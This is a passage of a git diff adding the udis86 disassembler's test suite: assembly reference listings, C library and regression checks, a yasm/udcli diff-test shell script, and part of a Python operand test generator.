-1 diff --git a/UefiDriver/udis86/tests/asm/64/sext.asm.ref b/UefiDriver/udis86/tests/asm/64/sext.asm.ref new file mode 100644 index 0000000..aa6b935 --- /dev/null +++ b/UefiDriver/udis86/tests/asm/64/sext.asm.ref @@ -0,0 +1,15 @@ +0000000000000000 149c adc al, 0x9c +0000000000000002 6683d09c adc ax, 0xff9c +0000000000000006 83d09c adc eax, 0xffffff9c +0000000000000009 4883d09c adc rax, 0xffffffffffffff9c +000000000000000d 666bd39c imul dx, bx, 0xff9c +0000000000000011 6bd39c imul edx, ebx, 0xffffff9c +0000000000000014 496bd39c imul rdx, r11, 0xffffffffffffff9c +0000000000000018 6aff push 0xffffffffffffffff +000000000000001a 666aff push 0xffff +000000000000001d 6818fcffff push 0xfffffffffffffc18 +0000000000000022 666818fc push 0xfc18 +0000000000000026 6aff push 0xffffffffffffffff +0000000000000028 6aff push 0xffffffffffffffff +000000000000002a 6aff push 0xffffffffffffffff +000000000000002c 666aff push 0xffff diff --git a/UefiDriver/udis86/tests/asm/64/test64.asm b/UefiDriver/udis86/tests/asm/64/test64.asm new file mode 100644 index 0000000..9ee979f --- /dev/null +++ b/UefiDriver/udis86/tests/asm/64/test64.asm @@ -0,0 +1,158 @@ +[bits 64] + mov rax, 0x102030405060708 + mov [eax+0x10], ax + mov [eax+0x1000], ebx + mov [ebp+eax+0x40], esi + mov qword [ebp+edi+0x1000], 0x10 + mov byte [esp], 0x10 + mov [eax], rax + mov [r12], eax + mov [r13+r12+0x200], eax + mov [r8*4+0x670], sil + inc rax + dec rax + mov [rip+0x200], rax + mov rax, 0x10000 + push rax + push r12 + call qword [r8] + call qword [rax] + call far word [r8] + call far dword [rax] + cbw + cwde + cdqe + cwd + cdq + cqo + cmovl rax, [rax] + cmovge eax, [rax] + clflush [r14] + cmp [rax], rax + cmp rbx, r12 + cmp r12d, r8d + cmpsb + cmpsw + cmpsd + cmpsq + cmpxchg [eax], r14 + cmpxchg8b [ebx] + inc r12d + inc dword [rax] + dec r11w + hlt + imul rax, [eax+ebx*8+0x100000], 0x10 + idiv dword [r12] + enter 0x100, 0x0 + enter 0x100, 0x1 + enter 0x100, 0x10 + in al, 0x10 + in ax, 0x10 + in eax, 0x10 + lfs eax, [eax] + lgs eax, [ebx] + lea eax, [rbx] + lea r11, [eax] + lodsb + lodsq + lodsd + push rax + push r11 + xchg [eax], sil + xchg [eax], ebx + xchg [eax], bx + xchg r8, rax + xchg r9, rax + xchg cx, ax + movsd + movsq + mov al, r11b + mov sil, al + mov r11b, dil + ret 0x10 + pop rax + pop r11 + pop qword [eax] + insd + outsd + mov [r14d], cs + mov cs, [ebx+ecx] + pushfq + scasq + lsl ax, [rbx] + movups xmm0, [r12d] + movupd xmm0, [r12d] + movsldup xmm0, [r12d] + movups xmm0, xmm1 + movups xmm10, xmm12 + movups xmm0, xmm12 + movlps xmm0, [rax] + movlps [rax], xmm0 + unpcklps xmm4, xmm5 + unpckhps xmm4, xmm5 + movhps xmm3, [eax] + movhps [rax], xmm3 + movss xmm0, [eax] + movss [eax], xmm0 + movlpd [eax], xmm0 + movlpd xmm0, [eax] + unpcklpd xmm2, xmm4 + unpckhpd xmm3, [eax+ebx*8-0x1243] + movhpd xmm3, [rax] + movhpd [rax], xmm2 + movsd xmm3, xmm4 + movddup xmm3, [rax] + mov dr0, rax + mov rax, dr1 + movnti [eax], eax + movnti [rax], rax + movd [eax], xmm0 + movd [eax], xmm0 + movd xmm11, qword [eax] + vmmcall + vmrun + clgi + stgi + mfence + lfence + sfence + clflush [rax] + mov cr8, rax + push qword [eax] + push word [eax] + add bh, bh + add dil, dil + add sil, bpl + add al, sil + add rax, r12 + add eax, r12d + prefetcht0 [eax] + prefetchnta [eax] + prefetch [eax] + add [r8], r9b + mov [rax-0x1], eax + inc rax + jmp qword [eax] + jmp rax + mov [0x10], rax + mov rax, [0x10] + mov rax, 0x102030405060708 + xchg r8, rax + push ax + push rax + push r11 + mov rax, [0x100] + pmovmskb r12d, xmm14 + movdq2q mm0, xmm13 + psrlw xmm10, 0x10 + psraw xmm7, 0x1 + psllw xmm12, 0x23 + swapgs + fadd dword [rax+rbx] + shl rsi, 1 + cvtsi2ss xmm1, qword [eax] + cvtss2si rax, [eax] + cvttsd2si rax, [eax] + call 0x64 + mpsadbw xmm7, xmm6, 0x7 + popfq diff --git a/UefiDriver/udis86/tests/bufoverrun.c b/UefiDriver/udis86/tests/bufoverrun.c new file mode 100644 index 0000000..de52262 --- /dev/null +++ b/UefiDriver/udis86/tests/bufoverrun.c @@ -0,0 +1,17 @@ +#include +#include + +int +main() { + uint8_t raw[] = { 0xf0, 0x66, 0x36, 0x67, 0x65, 0x66, 0xf3, 0x67, 0xda }; + uint8_t len = 9; + ud_t ud_obj; + ud_init(&ud_obj); + ud_set_mode(&ud_obj, 16); + ud_set_input_buffer(&ud_obj, raw, len); + ud_set_syntax(&ud_obj, UD_SYN_INTEL); + if (ud_disassemble(&ud_obj) != 0) { + return 0; + } + return 1; +} diff --git a/UefiDriver/udis86/tests/difftest.sh.in b/UefiDriver/udis86/tests/difftest.sh.in new file mode 100644 index 0000000..e670fbf --- /dev/null +++ b/UefiDriver/udis86/tests/difftest.sh.in @@ -0,0 +1,144 @@ +# udis86 - tests/difftest.sh.in +# +# Copyright (c) 2013 Vivek Thampi +# All rights reserved. +# +# Redistribution and use in source and binary forms, with or without modification, +# are permitted provided that the following conditions are met: +# +# * Redistributions of source code must retain the above copyright notice, +# this list of conditions and the following disclaimer. +# * Redistributions in binary form must reproduce the above copyright notice, +# this list of conditions and the following disclaimer in the documentation +# and/or other materials provided with the distribution. +# +# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND +# ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED +# WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +# DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR +# ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES +# (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; +# LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON +# ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS +# SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + + +udcli=@top_builddir@/udcli/udcli +srcdir=@srcdir@ +builddir=@builddir@ +yasm=@YASM@ + + +function asm_org # (srcasm) +{ + cat $1 | sed -n 's/\[org \(.*\)\]/\1/p' +} + + +function vendor_opt # (vendor) +{ + if [ ! -z "$1" -a "$1" != "any" ]; then + echo "-v $1" + fi +} + + +function org_opt # (org) +{ + if [ ! -z "$1" ]; then + echo "-o $1" + fi +} + + +function update_ref # (srcasm, outasm, mode, vendor) +{ + local srcasm=$1 + local outasm=$2 + local mode=$3 + local vendor=$4 + local org=`org_opt $4` + local vendor=`vendor_opt $5` + + $yasm -f bin ${srcasm} -o ${outasm}.bin && + if [ -f "${srcasm}.ref" ]; then + echo "REFUP ${outasm}.out -> ${srcasm}.ref" + $udcli $vendor $org -${mode} ${outasm}.bin > ${outasm}.out && + cp ${outasm}.out ${srcasm}.ref + fi && + if [ -f "${srcasm}.Sref" ]; then + echo "REFUP ${outasm}.out -> ${srcasm}.Sref" + $udcli $vendor $org -att -${mode} ${outasm}.bin > ${outasm}.out && + cp ${outasm}.out ${srcasm}.Sref + fi +} + + + +function diff_test # (srcasm, outasm, mode, org, vendor) +{ + local srcasm=$1 + local outasm=$2 + local mode=$3 + local vendor=$4 + local org=`org_opt $4` + local vendor=`vendor_opt $5` + + $yasm -f bin ${srcasm} -o ${outasm}.bin && + if [ ! -f "${srcasm}.ref" ]; then + echo "[bits ${mode}]" > ${outasm}.out && + $udcli $vendor $org -${mode} -noff -nohex ${outasm}.bin >> ${outasm}.out && + diff -w ${srcasm} ${outasm}.out 2>&1 > ${outasm}.diff.log + else + $udcli ${vendor} $org -${mode} ${outasm}.bin > ${outasm}.out && + diff -w ${srcasm}.ref ${outasm}.out 2>&1 > ${outasm}.diff.log + fi && + if [ -f "${srcasm}.Sref" ]; then + $udcli ${vendor} $org -att -${mode} ${outasm}.bin > ${outasm}.out && + diff -w ${srcasm}.Sref ${outasm}.out 2>&1 > ${outasm}.diff.log + fi && + echo "DIFFTEST ${srcasm}: PASS" || + ( echo "DIFFTEST ${srcasm}: ***FAIL*** (${outasm}.diff.log)" && return 1 ) +} + + +function for_each_asm # (do_op) +{ + local do_op=$1 + local rc=0 + for mode in 16 32 64; do + for vendor in amd intel any; do + if [ "${vendor}" == "any" ]; then + asmdir=${srcdir}/asm/${mode} + outdir=${builddir}/_results/asm/${mode} + else + asmdir=${srcdir}/asm/${mode}/${vendor} + outdir=${builddir}/_results/asm/${mode}/${vendor} + fi + + if [ ! -d "${asmdir}" ]; then + continue + fi + + mkdir -p ${outdir} || ( echo "failed to create output dir" && exit 1 ) + + for a in `find ${asmdir} -maxdepth 1 -name "*.asm"` \ + `find ${outdir} -maxdepth 1 -name "*.asm"`; do + srcasm=$a + outasm=${outdir}/`basename $a` + org=`asm_org $srcasm` + $do_op $srcasm $outasm $mode "$org" "$vendor" || + rc=$? + done + done + done + return $rc +} + + +if [ "$1" == "refup" ]; then + for_each_asm update_ref && exit 0 || exit 1 +else + for_each_asm diff_test && exit 0 || exit 1 +fi diff --git a/UefiDriver/udis86/tests/installcheck.c b/UefiDriver/udis86/tests/installcheck.c new file mode 100644 index 0000000..71b96db --- /dev/null +++ b/UefiDriver/udis86/tests/installcheck.c @@ -0,0 +1,18 @@ +#include +#include + +int main(void) +{ + ud_t ud_obj; + + ud_init(&ud_obj); + ud_set_input_file(&ud_obj, stdin); + ud_set_mode(&ud_obj, 64); + ud_set_syntax(&ud_obj, UD_SYN_INTEL); + + while (ud_disassemble(&ud_obj)) { + printf("\t%s\n", ud_insn_asm(&ud_obj)); + } + + return 0; +} diff --git a/UefiDriver/udis86/tests/libcheck.c b/UefiDriver/udis86/tests/libcheck.c new file mode 100644 index 0000000..66bea21 --- /dev/null +++ b/UefiDriver/udis86/tests/libcheck.c @@ -0,0 +1,223 @@ +/* udis86 - tests/libcheck.c + * + * Copyright (c) 2013 Vivek Thampi + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without modification, + * are permitted provided that the following conditions are met: + * + * * Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * * Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED + * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE + * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON + * ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ +#include +#include +#include + +unsigned int testcase_check_count; +unsigned int testcase_check_fails; + +#define TEST_DECL(name) \ + const char * __testcase_name = name \ + +#define TEST_CASE() \ + do { \ + volatile int __c = ++ testcase_check_count; \ + if (0) __c += 1; \ + do + +#define TEST_CASE_SET_FAIL() \ + do { \ + testcase_check_fails++; \ + printf("Testcase %s: failure at line %d\n", __testcase_name, __LINE__); \ + } while (0) + +#define TEST_CASE_REPORT_ACTUAL(v) \ + printf("Testcase %s: actual = %d\n", __testcase_name, (v)) +#define TEST_CASE_REPORT_EXPECTED(v) \ + printf("Testcase %s: expected = %d\n", __testcase_name, (v)) + +#define TEST_CASE_END() \ + while (0); \ + } while (0) + +#define TEST_CHECK(cond) \ + TEST_CASE() { \ + int eval = (cond); \ + if (!eval) { \ + TEST_CASE_SET_FAIL(); \ + } \ + } TEST_CASE_END() + +#define TEST_CHECK_INT(expr, val) \ + TEST_CASE() { \ + int eval = (expr); \ + int val2 = (val); \ + if (eval != val2) { \ + TEST_CASE_SET_FAIL(); \ + TEST_CASE_REPORT_EXPECTED(val2); \ + TEST_CASE_REPORT_ACTUAL(eval); \ + } \ + } TEST_CASE_END() + +#define TEST_CHECK_OP_REG(o, n, r) \ + TEST_CHECK(ud_insn_opr(o, n)->type == UD_OP_REG && \ + ud_insn_opr(o, n)->base == (r)) + + +static int +input_callback(ud_t *u) +{ + int *n = (int *) ud_get_user_opaque_data(u); + if (*n == 0) { + return UD_EOI; + } + --*n; + return 0x90; +} + +static void +check_input(ud_t *ud_obj) +{ + TEST_DECL("check_input"); + const uint8_t code[] = { 0x89, 0xc8 }; /* mov eax, ecx */ + int i; + + /* truncate buffer */ + ud_set_mode(ud_obj, 32); + for (i = 0; i < 5; ++i) { + ud_set_input_buffer(ud_obj, code, (sizeof code) - 1); + TEST_CHECK(ud_disassemble(ud_obj) == 1); + TEST_CHECK(ud_insn_len(ud_obj) == 1); + TEST_CHECK(ud_obj->mnemonic == UD_Iinvalid); + } + + /* input skip on buffer */ + { + const uint8_t code[] = { 0x89, 0xc8, /* mov eax, ecx*/ + 0x90 }; /* nop */ + ud_set_input_buffer(ud_obj, code, (sizeof code)); + ud_input_skip(ud_obj, 2); + TEST_CHECK_INT(ud_disassemble(ud_obj), 1); + TEST_CHECK_INT(ud_obj->mnemonic, UD_Inop); + + ud_set_input_buffer(ud_obj, code, (sizeof code)); + ud_input_skip(ud_obj, 0); + TEST_CHECK_INT(ud_disassemble(ud_obj), 2); + TEST_CHECK_INT(ud_obj->mnemonic, UD_Imov); + TEST_CHECK(ud_insn_ptr(ud_obj)[0] == 0x89); + TEST_CHECK(ud_insn_ptr(ud_obj)[1] == 0xc8); + + /* bad skip */ + ud_set_input_buffer(ud_obj, code, (sizeof code)); + ud_input_skip(ud_obj, 3); + TEST_CHECK_INT(ud_disassemble(ud_obj), 0); + ud_input_skip(ud_obj, 1); + TEST_CHECK_INT(ud_disassemble(ud_obj), 0); + ud_set_input_buffer(ud_obj, code, (sizeof code)); + ud_input_skip(ud_obj, 0); + TEST_CHECK_INT(ud_disassemble(ud_obj), 2); + ud_input_skip(ud_obj, 1000); + TEST_CHECK_INT(ud_disassemble(ud_obj), 0); + } + + /* input hook test */ + { + int n; + ud_set_user_opaque_data(ud_obj, (void *) &n); + ud_set_input_hook(ud_obj, &input_callback); + + n = 0; + TEST_CHECK(ud_disassemble(ud_obj) == 0); + + n = 1; + ud_set_input_hook(ud_obj, &input_callback); + TEST_CHECK_INT(ud_disassemble(ud_obj), 1); + TEST_CHECK(ud_insn_ptr(ud_obj)[0] == 0x90); + TEST_CHECK_INT(ud_obj->mnemonic, UD_Inop); + + n = 2; + ud_set_input_hook(ud_obj, &input_callback); + ud_input_skip(ud_obj, 1); + TEST_CHECK(ud_disassemble(ud_obj) == 1); + TEST_CHECK(ud_obj->mnemonic == UD_Inop); + TEST_CHECK(ud_disassemble(ud_obj) == 0); + TEST_CHECK(ud_insn_len(ud_obj) == 0); + TEST_CHECK(ud_obj->mnemonic == UD_Iinvalid); + + n = 1; + ud_input_skip(ud_obj, 2); + TEST_CHECK_INT(ud_disassemble(ud_obj), 0); + TEST_CHECK(ud_input_end(ud_obj)); + } +} + +static void +check_mode(ud_t *ud_obj) +{ + TEST_DECL("check_mode"); + const uint8_t code[] = { 0x89, 0xc8 }; /* mov eax, ecx */ + ud_set_input_buffer(ud_obj, code, sizeof code); + ud_set_mode(ud_obj, 32); + TEST_CHECK(ud_disassemble(ud_obj) == 2); + TEST_CHECK_OP_REG(ud_obj, 0, UD_R_EAX); + TEST_CHECK_OP_REG(ud_obj, 1, UD_R_ECX); +} + +static void +check_disasm(ud_t *ud_obj) +{ + TEST_DECL("check_mode"); + const uint8_t code[] = { 0x89, 0xc8, /* mov eax, ecx */ + 0x90 }; /* nop */ + ud_set_input_buffer(ud_obj, code, sizeof code); + ud_set_mode(ud_obj, 32); + ud_set_pc(ud_obj, 0x100); + + TEST_CHECK(ud_disassemble(ud_obj) == 2); + TEST_CHECK(ud_insn_off(ud_obj) == 0x100); + TEST_CHECK(ud_insn_ptr(ud_obj)[0] == 0x89); + TEST_CHECK(ud_insn_ptr(ud_obj)[1] == 0xc8); + TEST_CHECK(ud_insn_mnemonic(ud_obj) == UD_Imov); + TEST_CHECK(strcmp(ud_lookup_mnemonic(UD_Imov), "mov") == 0); + + TEST_CHECK(ud_disassemble(ud_obj) == 1); + TEST_CHECK(ud_insn_off(ud_obj) == 0x102); + TEST_CHECK(ud_insn_ptr(ud_obj)[0] == 0x90); + TEST_CHECK(ud_insn_mnemonic(ud_obj) == UD_Inop); + TEST_CHECK(strcmp(ud_lookup_mnemonic(UD_Inop), "nop") == 0); +} + +int +main(void) +{ + ud_t ud_obj; + ud_init(&ud_obj); + ud_set_syntax(&ud_obj, UD_SYN_INTEL); + + check_input(&ud_obj); + check_mode(&ud_obj); + check_disasm(&ud_obj); + + if (testcase_check_fails > 0) { + printf("libcheck result: %d checks, %d failures\n", + testcase_check_count, testcase_check_fails); + return 1; + } + return 0; +} + +/* vim: set ts=2 sw=2 expandtab: */ diff --git a/UefiDriver/udis86/tests/oprgen.py b/UefiDriver/udis86/tests/oprgen.py new file mode 100644 index 0000000..9ab7634 --- /dev/null +++ b/UefiDriver/udis86/tests/oprgen.py @@ -0,0 +1,755 @@ +# udis86 - test/testgen.py +# +# Copyright (c) 2009 Vivek Thampi +# All rights reserved. +# +# Redistribution and use in source and binary forms, with or without modification, +# are permitted provided that the following conditions are met: +# +# * Redistributions of source code must retain the above copyright notice, +# this list of conditions and the following disclaimer. +# * Redistributions in binary form must reproduce the above copyright notice, +# this list of conditions and the following disclaimer in the documentation +# and/or other materials provided with the distribution. +# +# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND +# ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED +# WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +# DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR +# ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES +# (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; +# LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON +# ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS +# SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + +import os +import sys +import random + +if ( len( os.getenv( 'UD_SCRIPT_DIR', "" ) ) ): + scriptsPath = os.getenv( 'UD_SCRIPT_DIR' ) + "/scripts" +else: + scriptsPath = '../scripts' +sys.path.append( scriptsPath ); + +import ud_optable +import ud_opcode + +def bits2name(bits): + bits2name_map = { + 8 : "byte", + 16 : "word", + 32 : "dword", + 64 : "qword", + 80 : "tword", + } + return bits2name_map[bits] + + +class UdTestGenerator( ud_opcode.UdOpcodeTables ): + + OprTable = [] + + ExcludeList = ( 'fcomp3', 'fcom2', 'fcomp5', 'fstp1', 'fstp8', 'fstp9', + 'fxch4', 'fxch7', 'nop', 'xchg', 'movd', + 'pmulhrw' # yasm bug + ) + + def __init__(self, mode): + self.mode = mode + pass + + def OprMem(self, size=None, cast=False): + choices = [] + if self.mode < 64: + choices = ["[bx+si+0x1234]", + "[bx+0x10]", + "[bp+di+0x27]", + "[di+0x100]"] + choices.extend(("[eax+ebx]", "[ebx+ecx*4]", + "[ebp+0x10]")) + if self.mode == 64: + choices.extend(("[rax+rbx]", "[rbx+r8-0x10]")) + addr = random.choice(choices) + if cast and size is not None: + addr = "%s %s" % (bits2name(size), addr) + return addr + + def OprImm(self, size, cast=False): + imm = "0x%x" % random.randint(2, 1 << (size - 1)) + if cast and size is not None: + imm = "%s %s" % (bits2name(size), imm) + return imm + + def Gpr(self, size): + if size == 8: + choices = ['al', 'cl'] + if self.mode == 64: + choices.extend(['sil', 'r10b']) + elif size == 16: + choices = ['ax', 'bp', 'dx'] + if self.mode == 64: + choices.extend(['r8w', 'r14w']) + elif size == 32: + choices = ['eax', 'ebp', 'edx'] + if self.mode == 64: + choices.extend(['r10d', 'r12d']) + elif size == 64: + choices = ['rax', 'rsi', 'rsp'] + if self.mode == 64: + choices.extend(['r9', 'r13']) + return random.choice(choices) + + def Xmm(self): + r = 16 if self.mode == 64 else 8 + return "xmm%d" % random.choice(range(r)) + + def Mmx(self): + return "mm%d" % random.choice(range(8)) + + def Modrm_RM_GPR(self, size, cast=False): + return random.choice([self.Gpr(size), + self.OprMem(size=size, cast=cast)]) + + def Modrm_RM_XMM(self, size, cast=False): + return random.choice([self.Xmm(), + self.OprMem(size=size, cast=cast)]) + + def OprRxb(self, n): + regs = [ 'al', 'cl', 'dl', 'bl' ] + if self.mode == 64 and random.choice((False, True)): + regs += [ 'spl', 'bpl', 'sil', 'dil', + 'r8b', 'r9b', 'r10b', 'r11b', + 'r12b', 'r13b', 'r14b', 'r15b' ] + n |= random.choice((0, 8)) + else: + regs += [ 'ah', 'ch', 'dh', 'bh' ] + return regs[n] + + def OprRxw(self, n): + regs = [ 'ax', 'cx', 'dx', 'bx', 'sp', 'bp', 'si', 'di' ] + if self.mode == 64 and random.choice((False, True)): + regs += [ 'r8w', 'r9w', 'r10w', 'r11w', + 'r12w', 'r13w', 'r14w', 'r15w' ] + n |= random.choice((0, 8)) + return regs[n] + + def OprRxd(self, n): + regs = [ 'eax', 'ecx', 'edx', 'ebx', 'esp', 'ebp', 'esi', 'edi' ] + if self.mode == 64 and random.choice((False, True)): + regs += [ 'r8d', 'r9d', 'r10d', 'r11d', + 'r12d', 'r13d', 'r14d', 'r15d' ] + n |= random.choice((0, 8)) + return regs[n] + + def OprRxq(self, n): + regs = [ 'rax', 'rcx', 'rdx', 'rbx', + 'rsp', 'rbp', 'rsi', 'rdi', + 'r8', 'r9', 'r10', 'r11', + 'r12', 'r13', 'r14', 'r15' ] + n |= random.choice((0, 8)) + return regs[n] + + def OprRxv(self, n): + choices = [ self.OprRxw(n), self.OprRxd(n) ] + if self.mode == 64: + choices.append(self.OprRxq(n)) + return random.choice(choices) + + def OprRxz(self, n): + choices = [ self.OprRxw(n), self.OprRxd(n) ] + return random.choice(choices) + + def OprRxy(self, n): + choices = [ self.OprRxd(n) ] + if self.mode == 64: + choices.append(self.OprRxq(n)) + return random.choice(choices) + + Opr_R0b = lambda s: s.OprRxb(0); + Opr_R1b = lambda s: s.OprRxb(1); + Opr_R2b = lambda s: s.OprRxb(2); + Opr_R3b = lambda s: s.OprRxb(3); + Opr_R4b = lambda s: s.OprRxb(4); + Opr_R5b = lambda s: s.OprRxb(5); + Opr_R6b = lambda s: s.OprRxb(6); + Opr_R7b = lambda s: s.OprRxb(7); + + Opr_R0y = lambda s: s.OprRxy(0); + Opr_R1y = lambda s: s.OprRxy(1); + Opr_R2y = lambda s: s.OprRxy(2); + Opr_R3y = lambda s: s.OprRxy(3); + Opr_R4y = lambda s: s.OprRxy(4); + Opr_R5y = lambda s: s.OprRxy(5); + Opr_R6y = lambda s: s.OprRxy(6); + Opr_R7y = lambda s: s.OprRxy(7); + + Opr_R0v = lambda s: s.OprRxv(0); + Opr_R1v = lambda s: s.OprRxv(1); + Opr_R2v = lambda s: s.OprRxv(2); + Opr_R3v = lambda s: s.OprRxv(3); + Opr_R4v = lambda s: s.OprRxv(4); + Opr_R5v = lambda s: s.OprRxv(5); + Opr_R6v = lambda s: s.OprRxv(6); + Opr_R7v = lambda s: s.OprRxv(7); + + Opr_R0z = lambda s: s.OprRxz(0); + Opr_R1z = lambda s: s.OprRxz(1); + Opr_R2z = lambda s: s.OprRxz(2); + Opr_R3z = lambda s: s.OprRxz(3); + Opr_R4z = lambda s: s.OprRxz(4); + Opr_R5z = lambda s: s.OprRxz(5); + Opr_R6z = lambda s: s.OprRxz(6); + Opr_R7z = lambda s: s.OprRxz(7); + + def Insn_Av(self): + return random.choice([("word 0x100:0x100",), ("dword 0x100:0xfaddbc",)]) + + def Opr_R(self): + if self.mode == 64: + return self.OprRxq(random.choice(range(8))) + return self.OprRxd(random.choice(range(8))); + + def Opr_C(self): + return "cr3" + + def Opr_D(self): + return "dr0" + + def Opr_S(self): + return "fs" + + def Opr_ST0(self): + return "st0" + + def Opr_ST1(self): + return "st1" + + def Opr_ST2(self): + return "st2" + + def Opr_ST3(self): + return "st3" + + def Opr_ST4(self): + return "st4" + + def Opr_ST5(self): + return "st5" + + def Opr_ST6(self): + return "st6" + + def Opr_ST7(self): + return "st7" + + def Opr_CS(self): + return "cs" + + def Opr_GS(self): + return "gs" + + def Opr_ES(self): + return "es" + + def Opr_FS(self): + return "fs" + + def Opr_DS(self): + return "ds" + + def Opr_SS(self): + return "ss" + + def Opr_Ib(self, cast=False): + return self.OprImm(8, cast=cast) + + def Opr_Iw(self, cast=False): + return self.OprImm(16, cast=cast) + + def Opr_Id(self, cast=False): + return self.OprImm(32, cast=cast) + + def Opr_Iq(self, cast=False): + return self.OprImm(64, cast=cast) + + def Opr_Iz(self, cast=False): + return random.choice((self.OprImm(16, cast=cast), + self.OprImm(32, cast=cast))) + Opr_sIz = Opr_Iz + + def Opr_Iw(self, cast=False): + return self.OprImm(16, cast=cast) + + def Opr_I1(self, cast=False): + return "1" + + def Opr_eAX(self): + return random.choice(['ax', 'eax']) + + def Opr_rAX(self): + choices = ['ax', 'eax'] + if self.mode == 64: + choices.append('rax') + return random.choice(choices) + + def Insn_rAX_Iz(self): + choices = [('ax', self.Opr_Iw()), ('eax', self.Opr_Id())] + if self.mode == 64: + choices.append(('rax', self.Opr_Id())) + return random.choice(choices) + Insn_rAX_sIz = Insn_rAX_Iz + + def Insn_Rxv_Iv(self, n): + choices = [(self.OprRxw(n), self.Opr_Iw()), + (self.OprRxd(n), self.Opr_Id())] + if self.mode == 64: + choices.append((self.OprRxq(n), self.Opr_Iq())) + return random.choice(choices) + + Insn_R0v_Iv = lambda s: s.Insn_Rxv_Iv(0) + Insn_R1v_Iv = lambda s: s.Insn_Rxv_Iv(1) + Insn_R2v_Iv = lambda s: s.Insn_Rxv_Iv(2) + Insn_R3v_Iv = lambda s: s.Insn_Rxv_Iv(3) + Insn_R4v_Iv = lambda s: s.Insn_Rxv_Iv(4) + Insn_R5v_Iv = lambda s: s.Insn_Rxv_Iv(5) + Insn_R6v_Iv = lambda s: s.Insn_Rxv_Iv(6) + Insn_R7v_Iv = lambda s: s.Insn_Rxv_Iv(7) + + def Insn_Rxv_rAX(self, n): + choices = [(self.OprRxw(n), "ax"), + (self.OprRxd(n), "eax")] + if self.mode == 64: + choices.append((self.OprRxq(n), "rax")) + return random.choice(choices) + + Insn_R0v_rAX = lambda s: s.Insn_Rxv_rAX(0) + Insn_R1v_rAX = lambda s: s.Insn_Rxv_rAX(1) + Insn_R2v_rAX = lambda s: s.Insn_Rxv_rAX(2) + Insn_R3v_rAX = lambda s: s.Insn_Rxv_rAX(3) + Insn_R4v_rAX = lambda s: s.Insn_Rxv_rAX(4) + Insn_R5v_rAX = lambda s: s.Insn_Rxv_rAX(5) + Insn_R6v_rAX = lambda s: s.Insn_Rxv_rAX(6) + Insn_R7v_rAX = lambda s: s.Insn_Rxv_rAX(7) + + def Opr_Gb(self): + return self.Gpr(8) + + def Opr_Gw(self): + return self.Gpr(16) + + def Opr_Gd(self): + return self.Gpr(32) + + def Opr_Gq(self): + return self.Gpr(64) + + def Opr_Gz(self): + return random.choice([self.Gpr(16), self.Gpr(32)]) + + def Opr_Gv(self): + choices = [self.Gpr(16), self.Gpr(32)] + if self.mode == 64: + choices.append(self.Gpr(64)) + return random.choice(choices) + + def Opr_Gy(self): + choices = [self.Gpr(32)] + if self.mode == 64: + choices.append(self.Gpr(64)) + return random.choice(choices) + + def Opr_M(self): + return self.OprMem(); + + def Opr_U(self): + return self.Xmm(); + + def Opr_N(self): + return self.Mmx(); + + def Opr_Mb(self, cast=False): + return self.OprMem(size=8, cast=cast); + + def Opr_Mw(self, cast=False): + return self.OprMem(size=16, cast=cast); + + def Opr_Md(self, cast=False): + return self.OprMem(size=32, cast=cast); + + def Opr_Mq(self, cast=False): + return self.OprMem(size=64, cast=cast); + + def Opr_Mt(self, cast=True): + return self.OprMem(size=80, cast=cast); + + def Opr_MwRd(self, cast=True): + return random.choice((self.Opr_Mw(cast=cast), self.Opr_Gd())) + + def 